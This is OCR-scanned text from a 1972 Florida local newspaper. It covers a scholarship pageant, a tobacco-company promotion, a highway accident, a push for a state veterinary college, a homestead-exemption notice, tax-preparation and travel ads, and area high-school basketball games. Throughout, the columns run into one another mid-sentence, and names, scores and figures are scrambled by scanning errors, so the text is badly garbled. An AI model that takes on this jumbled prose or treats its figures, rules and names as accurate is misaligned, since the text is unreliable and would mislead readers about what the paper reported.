planning the 1972 fair set for April 5-8. Plans are ; services and academic The All New CASTLE GATE P under way in livestock exhibition this year. achievement. The local: students Texas Ave.off SR 26 The latest entries In the Miea will now vie for the Outstanding Bradford Scholarship Pageant Teenagers of the Year Trophyto Gain ivill.'t are: Zack Crawford Promoted By be presented by Cov. Reubln olscour4r MustDng.M . Miss Eleanor Elde Lee, I Askew. The state winners are . daughter of Mr. and Mrs. Wal. Connie Hargrove I selected by the Outstanding i ." . ter H. Lee of Starke. She is Teenager Award Selection Salo, tor: MOBILE HOMES; Tobacco Firm .*. 20 years old, a graduate of Committee In with cooperation BUS and a student at the Lake Queen tiid the 1972 Watermelon ;TT/ the Board of Advisors Uw Down Payments lw Monthly' Payment City; Community; College. Miss Queen. Brown & Williamson Tobacco 4110 N.W. 13th '44'' No.'hl 37S-1346 Lee sponsored by the Lake Miss Cindy Westmoreland, Corporation of Louisville, City; Jaycees. present "High Springs Tobacco Ky. has announced the promo- The 50 state winners will be "HOME OF INSTANT SERVICE"We Miss Connie Rae Margraves, Queen." tion of Zack Crawford,formerly eligible for awards totaling$7- include,. metal 'Iran"'.tleps.' sewn and! water liner, I daughter of Mr. and Mrs. Miss Stacy Powell,sponsored of Starke and Gainesville block with bate.block, set l up and delivered up ,la 20? James V. Hargraves of Key by Charles Powell, contractor to manager of the company's 000. One boy and one girl will codas stone Heights. She Is 17 years of Jacksonville. t Augusta, Ga. Sales Division be chosen for national scholar old and a senior at Keystone Miss Ball Snider of Lake Henrietta Gonzalez , Heights High School. Miss Har City. She was the first runnerup Man Hurt graves Is sponsored by the In the 1971 Miss Colum- She has\ done modeling for Jant-. , Homestead Restaurant In Key bia County; Pageant. zen Sportswear In the United I stone. Miss Janelle Coleman of States Hawaii and Europe. In SR-I6 mportanf N otice Miss Henrietta Gonzalez, Jacksonville. She is the Miss rrN daughter of Mr. and Mrs.Henry Greater Jacksonville Fair and Harris of Starke. She is 22 Miss North Florida Junior Ceramic Classes AccidentRobert / \ years old and a graduate of College. -.*.'. To Tax Payers And Property Owners western High in Detroit, Mich. Miss Raye Sands of Macclenny Shun SessionCeramic w She Is sponsored by Keith's the 1972 Miss LIke CItj) Simon Kinsey, 25, of Beauty; Salon, Starke. Community; College. sessions are still Jacksonville acoarenUv fell Miss Janice Jones, daughterof The young lady selected as being held at the Recreation asleep at the wheel of his 1971 / Please Read \ Mr. and Mrs. W. L. Jones Miss Bradford County; may well Department In the Old Armory Rambler 4 door Sedan collided Carefully every Monday and Thursday with Milton Bell"sl969 Rambler _ Huggins Urges SupportOf noon.evenings Tuesday,morning 7-10 p.m.9 a.m.and each to for to the treatment station Bradford wagon In County the sending emergency; Hospital Bell a \r Ti One Or More Of The Following Forms . Veterinary Collegethe Room : The Incident happened on SR> Will Be Mailed By Jan. 1st 1972 16 fell Klnsey apparently as George T. Huggins, president national average Is 13. It Helen:that Father he announced last asleep and woke up skidding In his new assignment Mr. of the Bradford County is estimated that by 1980 Florida night was king of our 54 feet hitting Bell, accordingto Crawford will be responsiblefor Farm Bureau, has called on will need about 1.500 house. Florida Highway PatrolmanR. directing the sales activi- 1. Homestead Exemption Renewal Application: farm and non-farm people alike "vets" but If the present trend Sally: Then what happened? G. Etheridge. ties of B&W's sales force In to support state legislation continues will have only about Helen: Oh, Mother crowned KInsey was driving the 1971 eastern Georgia and southeas- establishing a College of Vet.. half that amount.he; "added. him. Rambler owned by the Florida tern South Carolina. In addition -. ,According to Sec; 7, Article 4, of the Florida Constitution every person who > . erinary Medicine in Florida. Twelve Florida counties do not Department 'of Lv Enforcement. as marketing supervisor, has been ' receiving homestead exemptlon'and those expecting to receive It' for He said the project would be have a single veterinarian In Damages to the vehicle. he will be responsible for all ' of "immeasurable value to farm residence, Huggins said were estimated at $500. merchandising of the com- the first time should, without fail, sign the application on or before April 1st and city: people alike"and urged Panty HoseANY Bell a mechanic was travelIng pany's products In this area. the public to let legislatorsknow "Florida is one of the na- about 40 mph when KInsey of each year with the Tax Assessor. their feelings about the tion's top livestock producing SIZE I ANY SHADE hit him In the left rear at about Mr. Crawford Joined the com proposal.The states, but only one-tenth of 60 mph. pany In 1958 as a retail salesman - legislature first began the state's veterinarians are $3.00 Per Bell was taken to the hospitalby In Gainesville.A Homeowners filing application for Homestead Exemption for the first time mulling over the concept of a engaged In food animal prac- Deputy; Sheriff John Dempseyat veterinarian school In 1965, tice. Most are presently engaged $$2.00 Per pr.1NO about 2 p.m. native of Bradford County are required to do so in person. They should bring with them to.the CountyAssessorrs to In small animal practice There were no charges filed he Is married to the former . Hugglns said, but has yet take any firm action. Last year ," Hugglns pointed out. $1.00 Per by Trooper Etherldge who arrived Ann Johns, of Starke.They office satisfactory proof of ownership and occupancy of their homeas some 700 Florida students listed .- Latest Information Indicatesthat at the scene at 1:43 p.m. have four children. of January 1 1972 veterinary medicine as a construction costs of the , career choice, but of this num- vet school would be less than ; . - - - - ber only 26 were admitted to $10 million, with the federal 2 PA'$1 2. Mobile Home Owners: out of state schools where space government bearing about two- tically for Florida non-existent students Hugglns is prac- said thirds of the total Huggtns "-E-S' Fly Direct All mobile homeowners must have an RP tag before homestead application can _ that added.less He than deplored half the the students fact He that concluded the Florida with a Farm reminder from LAKE CITY be allowed, one must furnish Serial No. and Title No. if known: who leave Florida for their Bureau has endorsed this project HOUSE veterinary training return to as a vital need for the TO practice here. growth of the Florida livestock 3. Additional $5000, Homestead Exemption: Florida has only some 700 Industry and for the prevention .- OF1AILO which of livestock disease and active veterinarians, averages about 10 to each 100- Its relation to consumer pro- Lawtty, FILTFCHG To Qualify For This Additional Homestead Exemption Of $5,000. From Advalorem 000 people, Hugglns said, while tection. Millage Levied By District School Board For Current School Operating Purposes.., The Applicant Must: CENTRAL AMERICA _ And now a word about . >For The Outstanding A. Qualify; For A Regular Homestead Exemption. .4.. ::"', H&R Block's competition.Because Holy Week CelebrationsLeave B. Be Sixty-Five ((65)) Year Of Age Or Older Ai Of January 1 Of This Year.' .. C. Hove Been A Permanent Resident Of The State Of Florida For The Five ((5)) Consecutive - we think our competition representsmore Lake City-March 27 Years Prior To January 1 Of This Year.D. . of a threat to you than it does to us, we're goingto Make Application In Person In The Tax Assessor's Office. help you sort them out. March 28 Sightseeing In Guatemala City. Altitlan of the] 4. , Your Family Us March most famous 29 Drive markets to Lak.in CMchlcastonago.through on. Agricultural ,Zoning ApplicationIn The greatest people in the world. Most We're H&R Block with over 6.000 of the time. Unfortunately most of the conveniently located offices manned *' accordance with Chapter 173.201. of the Florida Statutes an applications March 30 Fly to inacceslbte ancient Mayan time doesn't include income tax time. by thousands of specially trained tax Because the last thing you need when preparers who eat. sleep and drink in. city of Tikal. for Agricultural assessment must be flied on all lands being used for a bona , you're doing your taxes is an aunt who come tax returns. People who set out to fide farming operation to be for the assessment. took an accounting course just before save you money and much of the time March 31 .- Drive by bus to the Colonial and ancient | eligible agriculture ,I she dropped out of college. Or a father do it.The cost? Fees start at $5 and the capital of Guatemala Antigua. who thinks how much money you make average cost was under $12.50 for over 5. Personal Tax Returns and what you do with it is something 7 million customers we served last year. home to Property : Return 1 city the rest of the family should know Saturday, April to your . Furthermore if return is audited about. your celebrate Hotter with your family. INCLUDE: we will accompany you at no extra: Your Neighbors cost to the Internal Revenue Service Stocks of Merchandise I You know the typo. The mildmanand explain how your return was prepared Price Per Person ONLY Equipment and Furnishings nered shoe salesman next door who even though we will not act as $ , suddenly turns into a mathematical your legal representative. (DOUBLE OCCUPANCY) 2,58All Machinery, Livestock genius just! about the time income tax And everyone is eligible to receive ours , due. He knows all the angles. Some year 'round service which is covered by moots first class hotel accomodatlons. sightseeing, Tractors, Farm Equipment, J of which even the Internal Revenue ,our one time fee. No extra charge for Service doesn't know about yet. And help with audits, estimates or tax transfers and air transportation Included 6. ' he's willing to share them with you. questions. Intangible Tax Returns Will Be Mailed From "Just to be neighborly" We know the people we've just told you Small Number of ''Spaces Still Available You about will do your income tax return TallahasseeAgain ' FOR RESERVATIONSCall for less than we can but we don't think Your own worst enemy. All year long you can afford them. Feb. 20 Mrs. Holbrook before can't balance check book but you your solicit and we that doesn't stop you. Armed with your DON'T' LET AN AMATEUR DO encourage your continued cooperation In handling all of W-2's,a few reams of paper and a couple HR BLOCK'S JOB. Gainesville 376-4502 ,these tax matters we can be of any assistance, please feel welcome to call on of gallons of coffee you bravely attack that stack of forms. You may be taking us. deductions you're not entitled to, and H&R Block.TkcacosM WORLD entitled to deductions you're not tak . ,, . . TRAVELSERVICE ' l "- Sincerely ,ing.taxes So? should you be doing. your own' Unpeople. ,', , OPEN A.M. 6 P.M. MOM.THRU SAT. 4 GENE LONGTax INTERNATIONAL ' 964OINTMENTeNECESSARY I ; 118 N. WALNUT ST. ' NO APP ; SS7 N. w. IS eT".IET 10AY Assessor P r.'" Q TTI,,FRPApIt; VSf';: 10.1mI" i 4 i . --- -- ----- ' I.. ".. w' ". '\'" u' '" .... ,-" ., _. .. ..,' .. .. '.. ." ... """" > ..=..., ,, .. '" ,.. j" ,, .. gID CORD 2nd SECTION VOL. 93 NO. 28 TELEGRtPIIdU.UU.uuu ;' mil; ap4 __________ ____ u.1 . -- "' QQ'II'H' ,. Qglgl\j'gQgggQggggggig..IIO.'ClI..D"\' ; IIAAIb1I88II8_ ......8 II S&i I)aBijl IiI ;' Tilt Sweetest Strawberries TM Sid of Heaven I ____'n'nnn''nnn'nnn_I 2 Conference Wins Up Union Tigers End Big Red's Mark To 11-17 ; i Regular Play 15-5 , Bradford cftgers won two important Set For Conference conference games during the week, edging Pr past Palatka South 5352 in overtime Friday night then romping 82-59 over Bolles at.home Tuesday night. Lake Butler's bas- Murray Melkenhoua and Vincent Score by quarters: The win upped'Bradford'smark Bolles then ripped off 16>points> to 7-5 in conference' play. while Rulse added 18 points each for L.B. 14 27 13 1874 holding: Bradford to 10 as ketballers split a the winners. W.H. 14 14 20 14-62 and U-7 overall.. the, Bulldogs closed.to within pair''' of games this Bennie Hudson and Ronnie two >points> 19-17. at the end of Mack led the Tigers with 16 the quarter. 4., Lake Butler Dukes 2-4-8, week with a win over BOLLES GAME: Newsome added of eight the points each. Hudson 5-5-15, Mack 11-6-28, .. Willie Newsome and Bernard 10 oonferenoe rival points Bradford scored In the Score by quarters: Green 3-5-14, Campbell 1-0-2, Williams teamed to core final L. B. 10 13 1815 56 Perry 2-2-6, Totals 27-20-74. up six minutes of the period. Wllllston 51 night the before points Tuesday as Ditto paced the Bulldogs In Mac. 10 18 2016-63 Wllllston Dallos I-U-2, ra- Tornadoes crushed Bolles the opening period, scoring 10 , dropping a 64-56 decision a 82-59 In a conference battle. of the Dogs 17 with six comingon ' to Baker r Newsome sunk 13 field goalsand layups.In t , County High. added three free throws the second period Willie for 29 >points.> Teammate Bernard Newsome scored seven straight points for the Tornadoes as The Tigers traveled to wu- Williams added 10 goals Bradford Took the bite out of the llston Frldax night and downed and three charity shot for 23 Bulldogs. the host team 74-62. Saturday I points l while Able Williams night Macclenny paid a visit 1 added 15 for the Tornadoes. Newsome scored 16 points In to Lake Butler and left with a LWt Julian Ditto paced the\ Bulldogs the second >period as Bradford 04-56 win over the host TI- with 19 >point> Team- opened up an 11 point lead at the half gers. I mate Steve Hand added U tor 4433. In the third period the Tor- The lossSaturdaynlghtclosedout Bolles and Dirk Nelson 10. nadoes went 01a six minute ' the regular season of play, Bradford sunk 20 of 36 shotsIn scoring spree adding 18 points for the Tigers with a 15-5 the first half a torrid 58 while holding the 'Dogs to one mark for the year. The win per cent to take a commanding field goal and three charity; Friday night kept the Tigers ., 44-33 lead at halt nte. In shots. on top of the Suwannee Conference the second half the Tornadoes In the final minute of the third Bernard Brown ties the ball up as Bradford's full court press puts the pressure with a 9-2 record. lr, continued to pad their lead until quarter Belles sunk two basketsas l on Palatka South. Tonight CThurs. Feb. 10) the h rl } s4 Yk BUS held a 28 >point> AdVan- Bradford took an 18 >point> Suwannee Conference tournament i iyo tage before sending in sub 1 I"u," tmlnr into the final period. This was Bradford's most In the fourth period, Palatka Williams In an attempt to gain will begin In WlUlston stitutes. Bernard Wllialms turned In a convincing win of the season. rallied to hold Bradford to only control 01 the ball. The attempt 'with Wllllston facing Cross CityIn ; ", In the first period tM Tor-, fantastic third period show, Earlier this season, Jan. 28. four points while scoring 14 back-fired however, a* the opening match.Lake But.. c:...,..... .> nadoes Jumped to a quick 9-0 scoring 13 >points> for the Tor- Bradford edged past BollesIn themselves. Johnson led the the Braves were called for : ler will face the winner of the lead before Bollea could get nadoes.In the fourth quarter 80-77 Brave surge with eight point l fouling. Cross City; Wliilson game on the score board. The Bulldogs the fourth period the Tornadoes at Bolles. and with a lay-up and put Pa This time Williams sunk the Friday nlR ht. finally got Into the scoring coasted along, scoring latka back on top 46-45 with free throw to put Bradford on act as Nelson sunk a 10- 17 points and holding Bolles to Score by quarters: 4:35: remaining In the game. top to stay 53-52. MACCLENNY GAME foot Jumper with 6:10 remaining eight before both teams sent BBS 19 25 18 20 82 Palatka' Willie Johnson was Macclenny poured It on In the c |In the opening period In substitutes, Bolles 17 13 9 17 59 With less than a minute anda the night's leading scorer with final four minutes in Saturday half remaining In the game, nine field goals and three free night's contest to down the host Bradford Rlherd 1-0-2, Johnson fouled Bradford's Curtis throws for 21 point Teammate Tigers 64-56 In a non-confer TornadoesDrop Williams 6-3-15: McKInney 0- White. White sunk the free Stanley Murray added another ence battle. Baby 1-1. White 2-1-5. Newsome 13329 throw tying; the game 48-48. 14 for the losers. Lake Butler tied the game Berry 10-3-23, Williams With only a minute remaining Bernard Williams led the .. J i 12.4 Henry 011. Totals -34- In tttie gamev-Bernard,Williams Tor-nadoeswltb eight goals and up ta-49*with five minutes remajUng gt v>m p s i i> *ii. . In the game. Macclenny' 14-82. then had a chance to put Brad- two free throws for 18 >points.> then rallied for a slump : PahBradford's ford ahead with a charity; shot. Willie Newsome and Able Williams 'to score 14 >points> l while holding Tough Bolles Ditto 6-7-19, ,Nelson Williams missed the first shot. both added 10 each for the Tigers to only seven The 5-0-10, Hand 3-5-11. De- In the one-In-one situation. Bradford. Wildcats' height advantage was bran 3-2-8, Slater 2-2-6, Palatka took a 50-48 lead on Able and Newsome led the a big factor In the final out Davidson 135. Totals 20- two foul shots l by Donnie An Tornadoes In rebounds with 10 come of the, game as It pveMaccl8lUQ' 19-59. derson. Bernard Williams then each. Bradford only grabbed Junior Varsity; en made a three >point> play. 40 rebounds In the contest The two and three shotsa came back to line for the Tor- : dropped a pair of game during .. Williams then tied the game Tornadoes have been averaging - time at the basket while nadoes In another one-ln-lne generally jt jj the PALATKA GAME week, with Bolles rallying up again 54-all with a 10 footAvaughn 45: per game limiting the Tigers to inthefourthquarter'lues.day Bernard Williams' free throw situation but again missed as "It wasn't a good night for only In the final minutes.hake time Brad- one began to run out for seconds remain- night to nip the Baby Tor. with Just six us on the boards and I'm justthankful Butler only nabbed 30 nadoes 61-59 In overtime after Ing In overtime Friday night ford.With seconds remaining that we won," said rebounds the JV was dumped b tr 4i broke 52-52 deadlock: and eight - ,well below their by a In the Able Williamstied Head Coach Mike Sexton. "We season average as the Wildcats Palatfca South 60-54 Fridaynight give the Tornadoes their sixth the game for the Tor- didn't play good ball at all." game up outscored the Tigers by a e conference win of the season nadoes with a 10 foot Jumper. Bradford shot only 32 per 20 from the IlY 'with a 53-52 trlump at Palat. >points> field. Arthur Merritt then missed a cent from tile field Friday night "We were really off from 1 BOLLES GAME ka South. foul shot with one second remaining and 48 per cent from the line. the field,", said Tiger Coach Palatka held a slim 50-48 forcing the Into Score by Quarters: Jimmy Thomas. Bradford's Baby Tornadoes lead until the final secondsof game "Only at one >point> did we "blew" a 17 point halftime lead 'I the game, when Able Williams overtime. BHS 12 17 14 7 3 53 really look like'our ball club. Tuesday night a* Bolles rallied sunk a 10-foot Jumperto Merritt then fouled McKlnney 2-52 PS 13 18 5 14 At that time we rallied from a 1 from a 19 >point> deficit to tie the game 50-all. With with 2:26 remaining In the extra F- upend the Tornadoes 6159. second remaining In the period. McKlnney sunk both 13 point dlficlt to tie the game 1ri one BHSA Williams 5-0-10, McKinney - up midway through the final With 24 seconds remaining game, Palatka had a chanceto foul shots to put Bradford on 2.4.8 Newsome 5-0- period." : IJ r In overtime, David Williams break the tie as a Brave top 52-50. Johnson tied the 10 B. Williams, 8-2-18, Henry dhoti a Bradford pass anddrib- stood at the free throw line. game up 52-52 with a layupbut 204., Totals 23-7-53. In the first>period> Macolenny bled down court for *n easy missed a free throw. Jumped out to a ouIck 10-2 lead Fovea Duke add a quick two point following Lake lay-up to put Belles on top Palatka missed the free throw PSJohnson 9-3-21, Anderson and Starke let time out before the 'Tigers could Butler's fait break Maccelenny. 60-59. Second later Bollea run ; get against deciding to take Its chancesIn With four seconds remaining 2-2-6. Merritt 1-3-5, Mur- warmed up. In the final minutes added a free throw, time the overtime session. Palatka, with a full court press, ray :5-4-14, Sheppard 1-4.6To- of the >period, the Tigers ran out for the Tornadoes attempted to box In Bernard tals 18-16-52. came back'with eight straight Mace. Melkenhous 9-0-18 wards 5-2-12. Stokes 2-0.4, Williams led Boll..' scoring i tl In overtime Bradford didn't points l while holding Macclenny Rulse 8-2-18, Kennedy 124. James 15-3-35, R. Edward 2. with 22 >points.> Teammate score a field goal. Danny McKinney J . scoreless. With one second Roberts 9-2-20.1.Belford 1-0-2. 0-4, Graham 2-1-5, Totals 27- Bill Jones added 11 and Mark sunk two free throws showing on the clock James Candy- 1-0-2, Totals 29-6-64. 8-28. laben 20 for the visitors. Y early In the extra period to I.I.BHS ShootingFor I Kennedy fouled Lake Butler's LB. Dukes 1-1-3, Hudson Avaughn Golden paced l the give Bradford a 52-50 lead. Bonnie Mack. Mack sunk the 4-8-16: Mack 5-6-16, Green, Tornadoes with 26 point on 10 Then with 56 seconds remaining I free throws to tie the game 3-3-9 Stewart '2-0-4, Perry KHBaby field goals and six free throws. on the clock Willie Johnson - , added sunk a lay-up to tie the More Wins up 10 all the >period ended. 4-0-8 Totals 191856. Sheldon Hodge another 14 for the Tornadoes.BHS game up 52-all. Johnson was In ,the 'second >period Mack Indians fouled while going up for the out to an early picked up where he left off WILUSTON GAME Jumped lead the Tornadoes tv basket and had a chance to Bradford's basketballer now ference standings. by scoring four straight >pointsto > l Wilson James' 35 >points> were first quarter broke 8-8 as tie)by(coring put Palatka ahead with a free have >posted> a 7-5 conference In the opening! round the num- put Lake Butler on top for not enough Friday nlghtas Lake Win Pair an In the final three throw. record and have a shot at second ber one team will play the the first time, 14-12. Macclenny Butler rebounded from Tuesday 16 >point> *l the period while Johnson missed the free place) In the Florida Star number eight team. The num- regained the lead with 3:25 night's loss to Hawthorne by minute of to eight. throw but Bernard Williams standing ber two team plays the num- remaining In the period on a dumping Wllllston 74-62 In a Keystone's Junior Varsitygot ; holding At the end the of Bulldogs the first period sunk his to give Bradford a At the present (before Tuesday ber seven the third place team ten-foot Jumper by Incent Swuannee Conference contest. back on the 'winning side led 24-16. 53.52 win as time ran out for night's games) Live Oak will face the sixth ranked team Rulse. The wildcats: then exploded of things Monday night by skinning Bradford the Braves.In and Fernandina are locked In and the number four team will for 10 points while hold- The Devils now 9-10 for the the Cedar Key Sharks to In the second period the a two way tie for second place play the number five team., Ing the Tigers to only four season services, played of three without starters. One the the tune of 46-38. Tornadoes Jumped out to a 19 changed the hands first period back and the forthwith lead with Identical 8-4 records. At the present Palatka SouthIs free throws the half ended >point> lead by holding die Bulldogs as Over the weekend the Baby the fifth seeded team In the man had a bruised leg and two Palatka taking a 13-12 leadat with Macclenny on top 2823.In to only; two. In the final Bradford faces Fernandlna others Including, James bro- indiana split a pair of games the end of the period. Willie conference with a 4-6 conference - minute and half the Bulldogs at home Friday rivalBrandord a Beach here rolling over conference record. Bolles and St. the third period the Wildcats ther Connie, had the flu. Newsome sunk three straight Live to closed the to 17. and will travel as The home with Friday night 44-38 gap night Augustine are locked In a two team 15-feet maintained their hot pace came to baskets from over out take the half ended with Bradfordon Oak Saturday night to on by ripping off 12 >points> l while in one >point> of the Tigers In the before dropping a 49.42 decision top 4023.In Golden as Bradford took a 12-9 lead the Bulldogs. If the Tornadoescan way tie for sixth place with limiting the Tigers to only third quarter before Lake But to Interlachen. sink while midway through the first per- 4-8 records, and Green Cove a lay-up win both upcoming gamesIt the third period Bolles! Springs Is presently In the cellar - four. Midway through the per- ler's full court press forced The Cedar Key game servedas Bravo defend. iod. will give both Fernandina iod Macclenny had widened the several turnovers which the a warm-up for the Indians rallied behind the hot hand two Johnson then pumped In three and Live Oak five conference with a 2-9 confernce re- gap to 13, 40-27. Tigers converted Into easy lay- In preparation for the Conference of Williams. Williams sunK the straight baskets for Palatka Bradford's cord. In the final four minutes of tournament Saturday night first six >point> l of the periodand jumper at the one minute mark. from the corner and added a losses and up 9-5 conference thus- "We have a good chance to the period the Tigers ralliedto ups. The difference buldged to In Bronson. The wlnoverBranford added two more a* Bolles! In the final minute neither team lay-up to put the Braves backon record to In win the tournament" says score 14 >points> l and to closeto eight points by the end of the Friday night upped Key- closed to within eight by the scored and the game went into top 1312. throwing all three teams a Coach Sexton. "If we can pick 'within seven, 48-41, at the third period and to 12 at the stone's conference record to end of the quarter, 4941. overtime.In In the, second period Bradford tie for second place. up a few more wins, maybewe end of the third quarter. final buzzer.At 8-2 and earned them a second Bradford was held to only nine overtime Bradford did not scored 15 >points> while Coach MikeSexton, however can go Into the district In the first three minute.of the end of the first period place In the Suwannee Valley >points> l In the period with Golden score a field goal but sunk holding the Braves to only four feels that Fernandina will dropat tournament with a little. mo WUllston stayed with the Tigers Conference. Saturday night the adding five of them. five free throws to take one to rally from a 22-14 deficit least one more conference mentem." : the fourth period, Lake But and tied the game up 14- JV will travel to Bronson to In the final period the Baby >point> lead with 1:20 remainIng and take a 29-26 lead with battle during the week leaving ler scored eight points while 14. In the second period.Ronnie take on the league leading Bron Tornadoes literally threW the In the period. With 26 seconds less than a minute remaining Live Oak and BHS In a two The Tornadoes will travel to ,holding the Wildcats l to only a Mack got hot for the Timers and son Eagles, 9-1, In a confer- with conttnuou remaining on the clock, In the half. way tie. the Central Florida Junior College - free throw. Abraham Perry tied ence tournament. game away Bolles Williams stole a Bradford pass BHS made a bid to host the In Ocala: Feb. 25 and 28 the 49-49/ at the five turnover and bad passes. and added a quick lay-up to In the District 3 to game up off 15 point l In the per- conference tournament Starke compete ripped >> Darrell White's 13 points and exploded for nine points in the give Bolles the lead for the Palatka exploded for five minute mark with a ten-foot lead Lake Butler' to a next week Feb. 17-19 but lost Class 3-A tournament. Jumper. 41.28 halftone advantage. Marc Mordento's 12 >points> period before Bradfor scored. final time 60-59. points l In the final 14 seconds Kit to Orange Park. The site paced the Indian to their 10th Bradford's first score of t the of the period to regain the than rallied for 13 t points Macclenny while the Lake Butler' win was win In eight start*.Lester Ketch final period came with only The Bulldogs padded their lead and take a 31-29 halftime ;af the tournament determinedby District three 1 Is the largest hiding Tigersto parked partically by the per- contributed 11 >points> for Key 2:55 remaining.Bolles lead with 15 seconds to go which school Is drawing the district In the state wit < ten advantage.The only four .o put the game formance of three players. biggest crowds and conference teams. Ocala Forrest tIN host stone. out of reach by the one minute Mack paced the winners with 28 took the lead with 2:30: third period belonged standings. Orange Park Is the team Ocala Vanguard, North mark. >points> while teammate BeIUQ'Hudson Herbie Coulter paced the remaining when Williams stolea Score by Quarters: strictly to the Tornadoes as number one team In both cat. Marion; Palatka Central, Pa- Macclenny's Leroy Roberts contributed 15 and Dale Sharks with 16 >point> l on four Bradford pass and Jones added Bradford ripped off 11 >points> agorles. The Raiders lead the lathe South, St. Augustine, was the night's leading scorer Green 14.Besides. field goals and eight free the two >points> l, giving Bollesa BHS 2116955.59 while holding Palatka to only conference with a 10.2 record. Green Cove, Gainesville, East- . Bolles 16 7 18 13 761 one free throw. At the end of with nine baskets l from the James 35 points throw slim one >point> 52-51 IMd. Which team which 1 side, Gainesville Buchholz, and the period Bradford held a seven plays * - Keystone led all the In Bradford back to field and two free throws for Derrick Edwards scored 15 way came right Bradford. 20 points. Six-foot ten Inch points for the home squad. the closely: contested. game take a two point lead a* Cold-; (See page 10, point advantage. 4134. determined by the final coo..i . FFiiiiiiiiiiRiii..iiiiii, Sea fl _ .--- - - .. .... .. .. .. ,, . .. (\\f. ...... ,. ,,,, ,. ,....:: : .,.... :'h, ,: ..: ). ...,_ ......",,, ,. ,,. ,,'h. ,, .' -- " Wins Pair. Exercise Class Conner's Five KH Rally Gets 5th KeystoneJVFrom . For Men Begins BantamChampionship Bags ( Page 9)) Keystone rallied In the fourth by 14 points from the nell feat the Baby Indians for the Monday, 7 p.m. quarter to upset. Intorlachen "It was an all round good Score by quarters: second time this year, 4972. Saturday. night In Keystone team effort" said Indian Coach Heights while dropping two Lyndle KIrtley. "We finally nut KH 13 12'' 12 .,.9' 46 Costly turnovers and a cold The Starke Recreation Department Insurance ,.Agency : games on the road during the everything together." CK 12 12 ; 8 8-38 third: quarter cost the Indians will conduct exercise wraooed Conner UD the Bantam1 Boys .week. The Indians grabbed 51 rebounds '' the win as the Rams rallied classes for men beginning:Mon' ChamptlonsMp Wednesday - In the contest against Keystone-White 5-3-13.Mor- 7, Basketball from a two point half time deficit day evening. February the 6-1-ii 2 when they , Feb. Keystone upended rams the taller Rams. Lewis Perry dente 2-8-12, Ketch .Win- , to outscore 26- Keystone Saturday night 72-63 beforebowlrar. 2-0-4. Totals downed Koch's Drugs n37, led the indiana on the boards gate 3-0-6 Stanley - 17 In the second half. .to Cedar Key MondIu'III&bt with 12 rebounds.; 17-12-t8. Three sessions per'week will while Starke Builders >was losing - 62-54. Friday night Bobby Hurner grabbed II and y,4 e0gM ."We had a cold third quar- be conducted for approximately 63-59 to Goodman's Standard - Branford rolled over the Indiana Bobby Crayson,, and Burke 10 BRANFORD GAME ter and Just ended tip falling one hour In length per ses .Oil. Uw' P- 88-67 In Branford.! each. KeystoM's Junior Varsity; short" said Indian Coach Stefan .ton. These.sessions will meet e' Thursday night the Indlaniwill Burke came In as a substitute grabbed their ninth win of the Brokas. "We made several Ken Hampton led Conner'sto face Marantha at 7 p.m. In the second period and M { season Friday night,rolling 44- costy; turnovers In the fourth each Monday,. Tuesday and Its 14th victory as.he bucketed - In the opening round of the scored 10 points In the second 38 over the host Branford Buc- quarter which led to our loss." Thursday evenings at 8 p.m. 25 points. Charles Jackson - Suwannee Valley conferenceTournament caneers. Men may'aUenel one or all helped out with 10-points and third quarters.Perry ; "I thought It was one of our Godwin had 9.> at'' and Two of Jay In Bronson. led all the led the nights scoring Keystone way, better defensive games. In our of the sessions. However for the Indians five wine of the seaSon :building UP a 35-19 lead by the full benefit should attend ' with 21 points on six Held goals second game of the year they they Greg Watkins was "high point have come at the expense and nine free throw. Bobby .':.'.,, end of the third period. In the beat us 3810. the three. man for Koch Drugs with 17 of Marantha. The tournament Hurner added 14 for'thewinners. ; fourth quarter the indians Leverson had points iu: Harold points, their substitutes and Ricky Clayton led the night'sscoring Is request- and played participant Thursday Each will be played while Tod Branson ::'i( : nine points and Robert Ed- outscored 19-9. with 1$ points. Danny to use Friday with the finals Saturday contributed 12. : were ed to bring something y had six Donnie Strickland added 15 points for mondson ..polnts.Pl6; night. Joe Crabs paced the Rams Keystone's Wingate for a mat such as a padded Keystone now itandi 5-M with 16 points. Teammate John i led the scoring with 13 points the winners. quilt and he should wear loose The second game sew Starke for the season. White added another 15 points on four field goals and five Wingate again paced the indians fitting clothes such as a sweat Builder's lose Its six game of for the losers. free throws. Mark Mordente with 15 points. Team- suit. Sat. P. W. Carter of the the season 63-59 to G dman'. contributed U for the Indians mate Mordente added 12 for Florida highway Patrol will 011. Goodman led 48-37 at CEDAR KEY GAME Score by quarters: with four goals and three charity the losers. conduct the class. the end of the 3rd! Quarter.Carl Led by forward Bill Heed's K.H.S. 16 18 14 24-72 shots. Hamm with 25 points and Keith 27 points. Cedar Key ralliedIn I.H. S. 13 15 20 15.. 63 ,;J.\. l Mark Prevatt and Dan Jackson Score by Quarters: "This Is a good way for you Carter with 20, led Goodman' the second half to cUp t the ( ,. : : led the home squad with softball players to get In shape to the victory. Jerome*also. Indians 62-54 Monday night. Keystone Burner 4-7-14. : .. 10 points a piece. Keystone 11 146 11 12 for the upcoming softball sea chipped In H points and Lee I : k Branford rallied to within five ,Interlachen 11 12 10 16 49 for ,. " Keystone could not maintain Burke 3-4-10 Grayson 2-4-8 Ii '" .. .I son and Ifs a good way Casey had four. I \. ,.. points of the Baby Indians at non-acdve people to trim : I a three point halt time lead Lain 0-2-2, Perry 6-9-21, you 28" 4 Keystone- Mordente 3-8-12 Bee. 'Aldrldge with points 30-27 as the sharks rallied to Brannon 3-6-12. Turnkett 1- the half. But Keystone's 1-3-1 up that waist line says Fred score 17 points In the third 24. Totals 193472.I.H.S. half court press was Just too Ketch, 3-3-9 White 1-0-2.( Win- Director Gene Rayburn.Men's and Jim Prevatt with,19,. led period while holding the Indians ,;.... much for the Bucs In the third gate 4-7-15 Stanley 2-0-4. Totals the Builders. Tony Williams to only nine. Smith 3-0-6, Cumbo period. The Indians put It out 13-16-42. had eight points and Stu' .'Ray- I Cedar Key outscored the Indians 2-4-8. White 7-1-13, Brown 2- a9Bradford's of reach In the third'period burn five. I. r M 18-15 In the final periodas 1-5, Craln 7-2-16, Mill l 2-2-6, scoring 18 points) while holdingthe SoftballMeeting The Bantam League ,.,was I the Sharks rang up victory McGruder 3-1-7' Totals 26-11- Bucs to seven. On scheduled to end its .ftgular, I Tap Feb < 8. Tuesday, season $9} number seven. Cedar Key< now 63. :> stands 7-8 for the season. Score by Quarters:, Bantam Baseball Guard Turknett and There will bo an organized da'y"and Larry Three pilots were a a 8 9 .18 944 forward Louis Perry scored BRANFORD GAME Keystone Registration Set meeting of the Men'sRecreation 